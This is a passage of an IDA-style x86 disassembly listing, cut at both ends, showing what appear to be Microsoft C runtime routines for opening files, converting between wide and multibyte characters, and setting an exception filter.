mov edx, [ecx+0Ch]
or edx, 4
mov eax, [ebp+var_4]
mov [eax+0Ch], edx
mov ecx, [ebp+var_4]
add ecx, 14h
mov edx, [ebp+var_4]
mov [edx+8], ecx
mov eax, [ebp+var_4]
mov dword ptr [eax+18h], 2
loc_429DCB: ; CODE XREF: sub_429D20+84j
mov ecx, [ebp+var_4]
mov edx, [ebp+var_4]
mov eax, [edx+8]
mov [ecx], eax
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_429D20 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp+10h]
mov [ebp-8], eax
mov ecx, [ebp-8]
add ecx, 4
mov [ebp-8], ecx
mov edx, [ebp-8]
mov eax, [edx-4]
mov [ebp-4], eax
mov dword ptr [ebp-8], 0
mov ecx, [ebp-4]
push ecx
push 40h
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_429E30
add esp, 10h
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429E30 proc near ; CODE XREF: sub_4201D0+2B0p
; .data:00429E23p
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 48h
mov [ebp+var_24], 0Ch
mov [ebp+var_20], 0
mov eax, [ebp+arg_4]
and eax, 80h
test eax, eax
jz short loc_429E5D
mov [ebp+var_1C], 0
mov [ebp+var_38], 10h
jmp short loc_429E68
; ---------------------------------------------------------------------------
loc_429E5D: ; CODE XREF: sub_429E30+1Ej
mov [ebp+var_1C], 1
mov [ebp+var_38], 0
loc_429E68: ; CODE XREF: sub_429E30+2Bj
mov ecx, [ebp+arg_4]
and ecx, 8000h
test ecx, ecx
jnz short loc_429EA1
mov edx, [ebp+arg_4]
and edx, 4000h
test edx, edx
jz short loc_429E8C
mov al, [ebp+var_38]
or al, 80h
mov [ebp+var_38], al
jmp short loc_429EA1
; ---------------------------------------------------------------------------
loc_429E8C: ; CODE XREF: sub_429E30+50j
cmp dword_4DE22C, 8000h
jz short loc_429EA1
mov cl, [ebp+var_38]
or cl, 80h
mov [ebp+var_38], cl
loc_429EA1: ; CODE XREF: sub_429E30+43j
; sub_429E30+5Aj ...
mov edx, [ebp+arg_4]
and edx, 3
mov [ebp+var_40], edx
cmp [ebp+var_40], 0
jz short loc_429EBE
cmp [ebp+var_40], 1
jz short loc_429EC7
cmp [ebp+var_40], 2
jz short loc_429ED0
jmp short loc_429ED9
; ---------------------------------------------------------------------------
loc_429EBE: ; CODE XREF: sub_429E30+7Ej
mov [ebp+var_34], 80000000h
jmp short loc_429EF7
; ---------------------------------------------------------------------------
loc_429EC7: ; CODE XREF: sub_429E30+84j
mov [ebp+var_34], 40000000h
jmp short loc_429EF7
; ---------------------------------------------------------------------------
loc_429ED0: ; CODE XREF: sub_429E30+8Aj
mov [ebp+var_34], 0C0000000h
jmp short loc_429EF7
; ---------------------------------------------------------------------------
loc_429ED9: ; CODE XREF: sub_429E30+8Cj
call sub_4224D0
mov dword ptr [eax], 16h
call sub_4224E0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp loc_42A33A
; ---------------------------------------------------------------------------
loc_429EF7: ; CODE XREF: sub_429E30+95j
; sub_429E30+9Ej ...
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
mov ecx, [ebp+var_44]
sub ecx, 10h
mov [ebp+var_44], ecx
cmp [ebp+var_44], 30h
ja short loc_429F42
mov eax, [ebp+var_44]
xor edx, edx
mov dl, byte_42A352[eax]
jmp off_42A33E[edx*4]
loc_429F1E: ; DATA XREF: .data:off_42A33Eo
mov [ebp+var_8], 0
jmp short loc_429F60
; ---------------------------------------------------------------------------
loc_429F27: ; CODE XREF: sub_429E30+E7j
; DATA XREF: .data:0042A342o
mov [ebp+var_8], 1
jmp short loc_429F60
; ---------------------------------------------------------------------------
loc_429F30: ; CODE XREF: sub_429E30+E7j
; DATA XREF: .data:0042A346o
mov [ebp+var_8], 2
jmp short loc_429F60
; ---------------------------------------------------------------------------
loc_429F39: ; CODE XREF: sub_429E30+E7j
; DATA XREF: .data:0042A34Ao
mov [ebp+var_8], 3
jmp short loc_429F60
; ---------------------------------------------------------------------------
loc_429F42: ; CODE XREF: sub_429E30+DAj
; sub_429E30+E7j
; DATA XREF: ...
call sub_4224D0
mov dword ptr [eax], 16h
call sub_4224E0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp loc_42A33A
; ---------------------------------------------------------------------------
loc_429F60: ; CODE XREF: sub_429E30+F5j
; sub_429E30+FEj ...
mov ecx, [ebp+arg_4]
and ecx, 700h
mov [ebp+var_48], ecx
cmp [ebp+var_48], 400h
jg short loc_429FAC
cmp [ebp+var_48], 400h
jz short loc_429FC9
cmp [ebp+var_48], 200h
jg short loc_429FA1
cmp [ebp+var_48], 200h
jz short loc_429FE4
cmp [ebp+var_48], 0
jz short loc_429FC9
cmp [ebp+var_48], 100h
jz short loc_429FD2
jmp short loc_429FF6
; ---------------------------------------------------------------------------
loc_429FA1: ; CODE XREF: sub_429E30+155j
cmp [ebp+var_48], 300h
jz short loc_429FED
jmp short loc_429FF6
; ---------------------------------------------------------------------------
loc_429FAC: ; CODE XREF: sub_429E30+143j
cmp [ebp+var_48], 500h
jz short loc_429FDB
cmp [ebp+var_48], 600h
jz short loc_429FE4
cmp [ebp+var_48], 700h
jz short loc_429FDB
jmp short loc_429FF6
; ---------------------------------------------------------------------------
loc_429FC9: ; CODE XREF: sub_429E30+14Cj
; sub_429E30+164j
mov [ebp+var_18], 3
jmp short loc_42A014
; ---------------------------------------------------------------------------
loc_429FD2: ; CODE XREF: sub_429E30+16Dj
mov [ebp+var_18], 4
jmp short loc_42A014
; ---------------------------------------------------------------------------
loc_429FDB: ; CODE XREF: sub_429E30+183j
; sub_429E30+195j
mov [ebp+var_18], 1
jmp short loc_42A014
; ---------------------------------------------------------------------------
loc_429FE4: ; CODE XREF: sub_429E30+15Ej
; sub_429E30+18Cj
mov [ebp+var_18], 5
jmp short loc_42A014
; ---------------------------------------------------------------------------
loc_429FED: ; CODE XREF: sub_429E30+178j
mov [ebp+var_18], 2
jmp short loc_42A014
; ---------------------------------------------------------------------------
loc_429FF6: ; CODE XREF: sub_429E30+16Fj
; sub_429E30+17Aj ...
call sub_4224D0
mov dword ptr [eax], 16h
call sub_4224E0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp loc_42A33A
; ---------------------------------------------------------------------------
loc_42A014: ; CODE XREF: sub_429E30+1A0j
; sub_429E30+1A9j ...
mov [ebp+var_28], 80h
mov edx, [ebp+arg_4]
and edx, 100h
test edx, edx
jz short loc_42A065
lea eax, [ebp+arg_C]
mov [ebp+var_2C], eax
mov ecx, [ebp+var_2C]
add ecx, 4
mov [ebp+var_2C], ecx
mov edx, [ebp+var_2C]
mov eax, [edx-4]
mov [ebp+var_10], eax
mov [ebp+var_2C], 0
mov ecx, dword_4DDF80
not ecx
mov edx, [ebp+var_10]
and edx, ecx
and edx, 80h
test edx, edx
jnz short loc_42A065
mov [ebp+var_28], 1
loc_42A065: ; CODE XREF: sub_429E30+1F6j
; sub_429E30+22Cj
mov eax, [ebp+arg_4]
and eax, 40h
test eax, eax
jz short loc_42A087
mov ecx, [ebp+var_28]
or ecx, 4000000h
mov [ebp+var_28], ecx
mov edx, [ebp+var_34]
or edx, 10000h
mov [ebp+var_34], edx
loc_42A087: ; CODE XREF: sub_429E30+23Dj
mov eax, [ebp+arg_4]
and eax, 1000h
test eax, eax
jz short loc_42A09C
mov ecx, [ebp+var_28]
or ch, 1
mov [ebp+var_28], ecx
loc_42A09C: ; CODE XREF: sub_429E30+261j
mov edx, [ebp+arg_4]
and edx, 20h
test edx, edx
jz short loc_42A0B3
mov eax, [ebp+var_28]
or eax, 8000000h
mov [ebp+var_28], eax
jmp short loc_42A0C9
; ---------------------------------------------------------------------------
loc_42A0B3: ; CODE XREF: sub_429E30+274j
mov ecx, [ebp+arg_4]
and ecx, 10h
test ecx, ecx
jz short loc_42A0C9
mov edx, [ebp+var_28]
or edx, 10000000h
mov [ebp+var_28], edx
loc_42A0C9: ; CODE XREF: sub_429E30+281j
; sub_429E30+28Bj
call sub_4294B0
mov [ebp+var_14], eax
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_42A0F5
call sub_4224D0
mov dword ptr [eax], 18h
call sub_4224E0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp loc_42A33A
; ---------------------------------------------------------------------------
loc_42A0F5: ; CODE XREF: sub_429E30+2A5j
push 0
mov eax, [ebp+var_28]
push eax
mov ecx, [ebp+var_18]
push ecx
lea edx, [ebp+var_24]
push edx
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+var_34]
push ecx
mov edx, [ebp+arg_0]
push edx
call dword_4E03D8 ; CreateFileA
mov [ebp+var_4], eax
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_42A141
call dword_4E0350 ; RtlGetLastWin32Error
push eax
call sub_422430
add esp, 4
mov eax, [ebp+var_14]
push eax
call sub_429A50
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_42A33A
; ---------------------------------------------------------------------------
loc_42A141: ; CODE XREF: sub_429E30+2ECj
mov ecx, [ebp+var_4]
push ecx
call dword_4E0314 ; GetFileType
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_42A181
mov edx, [ebp+var_4]
push edx
call dword_4E032C ; CloseHandle
call dword_4E0350 ; RtlGetLastWin32Error
push eax
call sub_422430
add esp, 4
mov eax, [ebp+var_14]
push eax
call sub_429A50
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_42A33A
; ---------------------------------------------------------------------------
loc_42A181: ; CODE XREF: sub_429E30+322j
cmp [ebp+var_C], 2
jnz short loc_42A192
mov cl, [ebp+var_38]
or cl, 40h
mov [ebp+var_38], cl
jmp short loc_42A1A1
; ---------------------------------------------------------------------------
loc_42A192: ; CODE XREF: sub_429E30+355j
cmp [ebp+var_C], 3
jnz short loc_42A1A1
mov dl, [ebp+var_38]
or dl, 8
mov [ebp+var_38], dl
loc_42A1A1: ; CODE XREF: sub_429E30+360j
; sub_429E30+366j
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_14]
push ecx
call sub_4296A0
add esp, 8
mov dl, [ebp+var_38]
or dl, 1
mov [ebp+var_38], dl
mov eax, [ebp+var_14]
sar eax, 5
mov ecx, [ebp+var_14]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DE320[eax*4]
mov al, [ebp+var_38]
mov [edx+ecx+4], al
movsx ecx, [ebp+var_38]
and ecx, 48h
test ecx, ecx
jnz loc_42A2DF
movsx edx, [ebp+var_38]
and edx, 80h
test edx, edx
jz loc_42A2DF
mov eax, [ebp+arg_4]
and eax, 2
test eax, eax
jz loc_42A2DF
push 2
push 0FFFFFFFFh
mov ecx, [ebp+var_14]
push ecx
call sub_426470
add esp, 0Ch
mov [ebp+var_3C], eax
cmp [ebp+var_3C], 0FFFFFFFFh
jnz short loc_42A251
call sub_4224E0
cmp dword ptr [eax], 83h
jz short loc_42A24C
mov edx, [ebp+var_14]
push edx
call sub_41B6B0
add esp, 4
mov eax, [ebp+var_14]
push eax
call sub_429A50
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_42A33A
; ---------------------------------------------------------------------------
loc_42A24C: ; CODE XREF: sub_429E30+3FAj
jmp loc_42A2DF
; ---------------------------------------------------------------------------
loc_42A251: ; CODE XREF: sub_429E30+3EDj
mov [ebp+var_30], 0
push 1
lea ecx, [ebp+var_30]
push ecx
mov edx, [ebp+var_14]
push edx
call sub_41FD80
add esp, 0Ch
test eax, eax
jnz short loc_42A2A9
movsx eax, [ebp+var_30]
cmp eax, 1Ah
jnz short loc_42A2A9
mov ecx, [ebp+var_3C]
push ecx
mov edx, [ebp+var_14]
push edx
call sub_42E2C0
add esp, 8
cmp eax, 0FFFFFFFFh
jnz short loc_42A2A9
mov eax, [ebp+var_14]
push eax
call sub_41B6B0
add esp, 4
mov ecx, [ebp+var_14]
push ecx
call sub_429A50
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_42A33A
; ---------------------------------------------------------------------------
loc_42A2A9: ; CODE XREF: sub_429E30+439j
; sub_429E30+442j ...
push 0
push 0
mov edx, [ebp+var_14]
push edx
call sub_426470
add esp, 0Ch
mov [ebp+var_3C], eax
cmp [ebp+var_3C], 0FFFFFFFFh
jnz short loc_42A2DF
mov eax, [ebp+var_14]
push eax
call sub_41B6B0
add esp, 4
mov ecx, [ebp+var_14]
push ecx
call sub_429A50
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_42A33A
; ---------------------------------------------------------------------------
loc_42A2DF: ; CODE XREF: sub_429E30+3B0j
; sub_429E30+3C2j ...
movsx edx, [ebp+var_38]
and edx, 48h
test edx, edx
jnz short loc_42A32B
mov eax, [ebp+arg_4]
and eax, 8
test eax, eax
jz short loc_42A32B
mov ecx, [ebp+var_14]
sar ecx, 5
mov edx, [ebp+var_14]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DE320[ecx*4]
mov cl, [eax+edx+4]
or cl, 20h
mov edx, [ebp+var_14]
sar edx, 5
mov eax, [ebp+var_14]
and eax, 1Fh
imul eax, 24h
mov edx, dword_4DE320[edx*4]
mov [edx+eax+4], cl
loc_42A32B: ; CODE XREF: sub_429E30+4B8j
; sub_429E30+4C2j
mov eax, [ebp+var_14]
push eax
call sub_429A50
add esp, 4
mov eax, [ebp+var_14]
loc_42A33A: ; CODE XREF: sub_429E30+C2j
; sub_429E30+12Bj ...
mov esp, ebp
pop ebp
retn
sub_429E30 endp
; ---------------------------------------------------------------------------
off_42A33E dd offset loc_429F1E ; DATA XREF: sub_429E30+E7r
dd offset loc_429F27
dd offset loc_429F30
dd offset loc_429F39
dd offset loc_429F42
byte_42A352 db 0 ; DATA XREF: sub_429E30+E1r
db 4
dd 3 dup(4040404h), 4010404h, 3 dup(4040404h), 4020404h
dd 3 dup(4040404h), 0CC030404h, 3 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A390 proc near ; CODE XREF: sub_420720+127p
; sub_4226D0+40p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
cmp eax, dword_4DE420
jb short loc_42A3A2
xor eax, eax
jmp short loc_42A3C0
; ---------------------------------------------------------------------------
loc_42A3A2: ; CODE XREF: sub_42A390+Cj
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DE320[ecx*4]
movsx eax, byte ptr [eax+edx+4]
and eax, 40h
loc_42A3C0: ; CODE XREF: sub_42A390+10j
pop ebp
retn
sub_42A390 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A3D0 proc near ; CODE XREF: sub_4209A0+3CAp
; sub_4209A0+B90p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push offset dword_4DE428
call dword_4E0454 ; InterlockedIncrement
cmp dword_4DE424, 0
jz short loc_42A408
push offset dword_4DE428
call dword_4E0450 ; InterlockedDecrement
push 13h
call sub_41BC80
add esp, 4
mov [ebp+var_4], 1
jmp short loc_42A40F
; ---------------------------------------------------------------------------
loc_42A408: ; CODE XREF: sub_42A3D0+18j
mov [ebp+var_4], 0
loc_42A40F: ; CODE XREF: sub_42A3D0+36j
mov ax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42A450
add esp, 8
mov [ebp+var_8], eax
cmp [ebp+var_4], 0
jz short loc_42A435
push 13h
call sub_41BD20
add esp, 4
jmp short loc_42A440
; ---------------------------------------------------------------------------
loc_42A435: ; CODE XREF: sub_42A3D0+57j
push offset dword_4DE428
call dword_4E0450 ; InterlockedDecrement
loc_42A440: ; CODE XREF: sub_42A3D0+63j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_42A3D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A450 proc near ; CODE XREF: sub_42A3D0+48p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
cmp [ebp+arg_0], 0
jnz short loc_42A463
xor eax, eax
jmp loc_42A4EC
; ---------------------------------------------------------------------------
loc_42A463: ; CODE XREF: sub_42A450+Aj
cmp dword_4DE074, 0
jnz short loc_42A49A
mov eax, [ebp+arg_4]
and eax, 0FFFFh
cmp eax, 0FFh
jle short loc_42A48B
call sub_4224D0
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_42A4EC
; ---------------------------------------------------------------------------
loc_42A48B: ; CODE XREF: sub_42A450+29j
mov ecx, [ebp+arg_0]
mov dl, byte ptr [ebp+arg_4]
mov [ecx], dl
mov eax, 1
jmp short loc_42A4EC
; ---------------------------------------------------------------------------
loc_42A49A: ; CODE XREF: sub_42A450+1Aj
mov [ebp+var_8], 0
lea eax, [ebp+var_8]
push eax
push 0
mov ecx, dword_447480
push ecx
mov edx, [ebp+arg_0]
push edx
push 1
lea eax, [ebp+arg_4]
push eax
push 220h
mov ecx, dword_4DE084
push ecx
call dword_4E0424 ; WideCharToMultiByte
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_42A4D9
cmp [ebp+var_8], 0
jz short loc_42A4E9
loc_42A4D9: ; CODE XREF: sub_42A450+81j
call sub_4224D0
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_42A4EC
; ---------------------------------------------------------------------------
loc_42A4E9: ; CODE XREF: sub_42A450+87j
mov eax, [ebp+var_4]
loc_42A4EC: ; CODE XREF: sub_42A450+Ej
; sub_42A450+39j ...
mov esp, ebp
pop ebp
retn
sub_42A450 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A4F0 proc near ; DATA XREF: sub_42A550+3o
; .data:00448810o
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, [eax]
cmp dword ptr [ecx], 0E06D7363h
jnz short loc_42A51E
mov edx, [ebp+arg_0]
mov eax, [edx]
cmp dword ptr [eax+10h], 3
jnz short loc_42A51E
mov ecx, [ebp+arg_0]
mov edx, [ecx]
cmp dword ptr [edx+14h], 19930520h
jnz short loc_42A51E
call sub_423580
loc_42A51E: ; CODE XREF: sub_42A4F0+Ej
; sub_42A4F0+19j ...
cmp dword_4DE1C4, 0
jz short loc_42A545
mov eax, dword_4DE1C4
push eax
call sub_42A5F0
add esp, 4
test eax, eax
jz short loc_42A545
mov ecx, [ebp+arg_0]
push ecx
call dword_4DE1C4
jmp short loc_42A547
; ---------------------------------------------------------------------------
loc_42A545: ; CODE XREF: sub_42A4F0+35j
; sub_42A4F0+47j
xor eax, eax
loc_42A547: ; CODE XREF: sub_42A4F0+53j
pop ebp
retn 4
sub_42A4F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A550 proc near ; DATA XREF: .data:00437028o
push ebp
mov ebp, esp
push offset sub_42A4F0
call dword_4E02FC ; SetUnhandledExceptionFilter
mov dword_4DE1C4, eax
pop ebp
retn
sub_42A550 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A570 proc near ; DATA XREF: .data:00437040o
push ebp
mov ebp, esp
mov eax, dword_4DE1C4
push eax
call dword_4E02FC ; SetUnhandledExceptionFilter
pop ebp
retn
sub_42A570 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A590 proc near ; CODE XREF: sub_4229C0+9Ep
; sub_4231D0+77p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 1
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call dword_4E0444 ; IsBadReadPtr
test eax, eax
jz short loc_42A5B4
mov [ebp+var_4], 0
loc_42A5B4: ; CODE XREF: sub_42A590+1Bj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42A590 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A5C0 proc near ; CODE XREF: sub_4231D0+89p
; sub_4231D0+EDp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 1
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call dword_4E0440 ; IsBadWritePtr
test eax, eax
jz short loc_42A5E4
mov [ebp+var_4], 0
loc_42A5E4: ; CODE XREF: sub_42A5C0+1Bj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42A5C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A5F0 proc near ; CODE XREF: sub_4231D0+1E2p
; sub_42A4F0+3Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 1
mov eax, [ebp+arg_0]
push eax
call dword_4E02F8 ; IsBadCodePtr
test eax, eax
jz short loc_42A610
mov [ebp+var_4], 0
loc_42A610: ; CODE XREF: sub_42A5F0+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42A5F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A620 proc near ; CODE XREF: sub_4235EEp
push ebp
mov ebp, esp
push 0Ah
call sub_428880
add esp, 4
push 16h
call sub_429130
add esp, 4
push 3
call sub_417B10
pop ebp
retn
sub_42A620 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A640 proc near ; CODE XREF: sub_4236C0+74Ep
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push offset dword_4DE428
call dword_4E0454 ; InterlockedIncrement
cmp dword_4DE424, 0
jz short loc_42A678
push offset dword_4DE428
call dword_4E0450 ; InterlockedDecrement
push 13h
call sub_41BC80
add esp, 4
mov [ebp+var_4], 1
jmp short loc_42A67F
; ---------------------------------------------------------------------------
loc_42A678: ; CODE XREF: sub_42A640+18j
mov [ebp+var_4], 0
loc_42A67F: ; CODE XREF: sub_42A640+36j
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42A6C0
add esp, 0Ch
mov [ebp+var_8], eax
cmp [ebp+var_4], 0
jz short loc_42A6A8
push 13h
call sub_41BD20
add esp, 4
jmp short loc_42A6B3
; ---------------------------------------------------------------------------
loc_42A6A8: ; CODE XREF: sub_42A640+5Aj
push offset dword_4DE428
call dword_4E0450 ; InterlockedDecrement
loc_42A6B3: ; CODE XREF: sub_42A640+66j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_42A640 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A6C0 proc near ; CODE XREF: sub_42A640+4Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
loc_42A6C6: ; CODE XREF: sub_42A6C0+3Aj
cmp dword_447480, 1
jz short loc_42A6F6
cmp dword_447480, 2
jz short loc_42A6F6
push offset aMb_cur_max1Mb_ ; "MB_CUR_MAX == 1 || MB_CUR_MAX == 2"
push 0
push 4Fh
push offset dword_435718
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_42A6F6
int 3 ; Trap to Debugger
loc_42A6F6: ; CODE XREF: sub_42A6C0+Dj
; sub_42A6C0+16j ...
xor eax, eax
test eax, eax
jnz short loc_42A6C6
cmp [ebp+arg_4], 0
jz short loc_42A708
cmp [ebp+arg_8], 0
jnz short loc_42A70F
loc_42A708: ; CODE XREF: sub_42A6C0+40j
xor eax, eax
jmp loc_42A819
; ---------------------------------------------------------------------------
loc_42A70F: ; CODE XREF: sub_42A6C0+46j
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_42A72E
cmp [ebp+arg_0], 0
jz short loc_42A727
mov eax, [ebp+arg_0]
mov word ptr [eax], 0
loc_42A727: ; CODE XREF: sub_42A6C0+5Dj
xor eax, eax
jmp loc_42A819
; ---------------------------------------------------------------------------
loc_42A72E: ; CODE XREF: sub_42A6C0+57j
cmp dword_4DE074, 0
jnz short loc_42A754
cmp [ebp+arg_0], 0
jz short loc_42A74A
mov ecx, [ebp+arg_4]
movzx dx, byte ptr [ecx]
mov eax, [ebp+arg_0]
mov [eax], dx
loc_42A74A: ; CODE XREF: sub_42A6C0+7Bj
mov eax, 1
jmp loc_42A819
; ---------------------------------------------------------------------------
loc_42A754: ; CODE XREF: sub_42A6C0+75j
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, off_447274
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8000h
test ecx, ecx
jz short loc_42A7DD
cmp dword_447480, 1
jle short loc_42A7B0
mov edx, [ebp+arg_8]
cmp edx, dword_447480
jl short loc_42A7B0
xor eax, eax
cmp [ebp+arg_0], 0
setnz al
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, dword_447480
push edx
mov eax, [ebp+arg_4]
push eax
push 9
mov ecx, dword_4DE084
push ecx
call dword_4E0428 ; MultiByteToWideChar
test eax, eax
jnz short loc_42A7D6
loc_42A7B0: ; CODE XREF: sub_42A6C0+B7j
; sub_42A6C0+C2j
mov edx, [ebp+arg_8]
cmp edx, dword_447480
jb short loc_42A7C6
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax+1]
test ecx, ecx
jnz short loc_42A7D6
loc_42A7C6: ; CODE XREF: sub_42A6C0+F9j
call sub_4224D0
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_42A819
; ---------------------------------------------------------------------------
loc_42A7D6: ; CODE XREF: sub_42A6C0+EEj
; sub_42A6C0+104j
mov eax, dword_447480
jmp short loc_42A819
; ---------------------------------------------------------------------------
loc_42A7DD: ; CODE XREF: sub_42A6C0+AEj
xor edx, edx
cmp [ebp+arg_0], 0
setnz dl
push edx
mov eax, [ebp+arg_0]
push eax
push 1
mov ecx, [ebp+arg_4]
push ecx
push 9
mov edx, dword_4DE084
push edx
call dword_4E0428 ; MultiByteToWideChar
test eax, eax
jnz short loc_42A814
call sub_4224D0
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_42A819
; ---------------------------------------------------------------------------
loc_42A814: ; CODE XREF: sub_42A6C0+142j
mov eax, 1
loc_42A819: ; CODE XREF: sub_42A6C0+4Aj
; sub_42A6C0+69j ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_42A6C0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_447480, 1
jle short loc_42A843
push 103h
mov eax, [ebp+8]
push eax
call sub_41FA40
add esp, 8
mov [ebp-4], eax
jmp short loc_42A85A
; ---------------------------------------------------------------------------
loc_42A843: ; CODE XREF: .data:0042A82Bj
mov ecx, [ebp+8]
mov edx, off_447274
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 103h
mov [ebp-4], eax
loc_42A85A: ; CODE XREF: .data:0042A841j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_447480, 1
jle short loc_42A890
push 1
mov eax, [ebp+8]
push eax
call sub_41FA40
add esp, 8
mov [ebp-4], eax
jmp short loc_42A8A5
; ---------------------------------------------------------------------------
loc_42A890: ; CODE XREF: .data:0042A87Bj
mov ecx, [ebp+8]
mov edx, off_447274
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 1
mov [ebp-4], eax
loc_42A8A5: ; CODE XREF: .data:0042A88Ej
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_447480, 1
jle short loc_42A8D0
push 2
mov eax, [ebp+8]
push eax
call sub_41FA40
add esp, 8
mov [ebp-4], eax
jmp short loc_42A8E5
; ---------------------------------------------------------------------------
loc_42A8D0: ; CODE XREF: .data:0042A8BBj
mov ecx, [ebp+8]
mov edx, off_447274
